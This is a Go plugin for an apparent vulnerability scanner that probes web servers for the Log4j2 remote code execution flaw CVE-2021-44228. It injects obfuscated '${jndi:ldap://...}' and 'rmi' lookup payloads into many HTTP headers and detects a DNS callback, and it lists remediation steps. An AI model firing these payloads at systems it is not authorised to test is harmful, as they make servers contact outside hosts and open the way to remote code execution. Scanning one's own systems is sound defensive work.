package exploits

import (
	"net/http"
	"prismx_cli/core/models"
	"prismx_cli/utils/netUtils"
	"prismx_cli/utils/reverse"
	"strconv"
	"strings"
	"time"
)

// init 注册插件插件
func init() {
	payloads := []string{
		"${jndi:ldap://dnsLog-url}",
		"${jndi:ldap:${::-/}${::-/}dnsLog-url}",
		"${${X::-j}ndi:rmi:${::-/}${X::-/}dnsLog-url}",
		"${XXX:${${X::-jn}${X::-di}:${X::-l}d${X::-a}p:${X::-/}${X::-/}dnsLog-url}}",
	}
	models.Register(models.AppVulInfo{
		App:   "log4j",
		Query: "protocol:\"http\"",
		Meta: models.VulMeta{
			Name:        "log4j2 RCE CVE-2021-44228",
			Tags:        []string{"rce"},
			Author:      "yqcs",
			Description: "Apache log4j2 is a Java log component. In a specific version, it enables the lookup function, which leads to a remote code execution vulnerability.",
			Homepage:    "https://logging.apache.org/log4j/2.x/",
			Level:       4,
			References:  "https://blog.csdn.net/Z_l123/article/details/123896465",
			Solution:    "除了将Log4j2.x升级到最新版本外，还可以采取如下临时修复措施（任选其一）。 1、添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true 2、在应用classpath下添加log4j2.component.properties配置文件，文件内容为log4j2.formatMsgNoLookups=true 3、禁用JNDI，如在spring.properties里添加spring.jndi.ignore=true",
			CreateAt:    "2022-2-07",
			Available:   false,
			Steps: models.StepsMeta{VerifySteps: models.VerifySteps{VerifyGo: func(scheme, ip string, port int, duration time.Duration) (result models.VulResult) {

				ticker := time.NewTicker(duration + (10 * time.Second))
				defer ticker.Stop()

				var resultChan = make(chan map[string]string)

				url := scheme + "://" + ip + ":" + strconv.Itoa(port)

				for _, payload := range payloads {
					//获取一个反连地址，然后替换到payload中的占位符
					resolveUrl := reverse.GetResolveUrl()
					payload = strings.ReplaceAll(payload, "dnsLog-url", resolveUrl)

					req, err := http.NewRequest("GET", url, nil)

					req.Header.Set("User-Agent", payload)
					req.Header.Set("Referer", payload)
					req.Header.Set("X-Client-IP", payload)
					req.Header.Set("X-Remote-Addr", payload)
					req.Header.Set("X-Remote-IP", payload)
					req.Header.Set("X-Forwarded-For", payload)
					req.Header.Set("X-Originating-IP", payload)
					req.Header.Set("Originating-IP", payload)
					req.Header.Set("CF-Connecting_IP", payload)
					req.Header.Set("True-Client-IP", payload)
					req.Header.Set("X-Real-IP", payload)
					req.Header.Set("Forwarded", payload)
					req.Header.Set("X-Api-Version", payload)
					req.Header.Set("X-Wap-Profile", payload)
					req.Header.Set("X-Real-IP", payload)
					req.Header.Set("Contact", payload)
					req.Header.Set("X-Device", payload)
					req.Header.Set("Token", payload)
					req.Header.Set("Cookie", "JSESSIONID="+payload)
					req.Header.Set("authorization", "Bearer "+payload)

					resp, err := netUtils.SendHttp(req, duration, true)
					if err != nil {
						continue
					}
					resp.Other.Body.Close()
					//异步监听
					go func(req, resp, r string) {
						if reverse.CheckResolveState("dns", r, duration+(10*time.Second)) {
							resultChan <- map[string]string{req: resp}
						}
					}(resp.RequestRaw, resp.Header+string(resp.Body), resolveUrl)
				}

				select {
				case res := <-resultChan:
					result.State = true
					for req, resp := range res {
						result.Request = req
						result.Response = resp
						break
					}
					return
				case <-ticker.C:
					result.Response = "not found"
					return
				}
			}}},
		},
	})
}
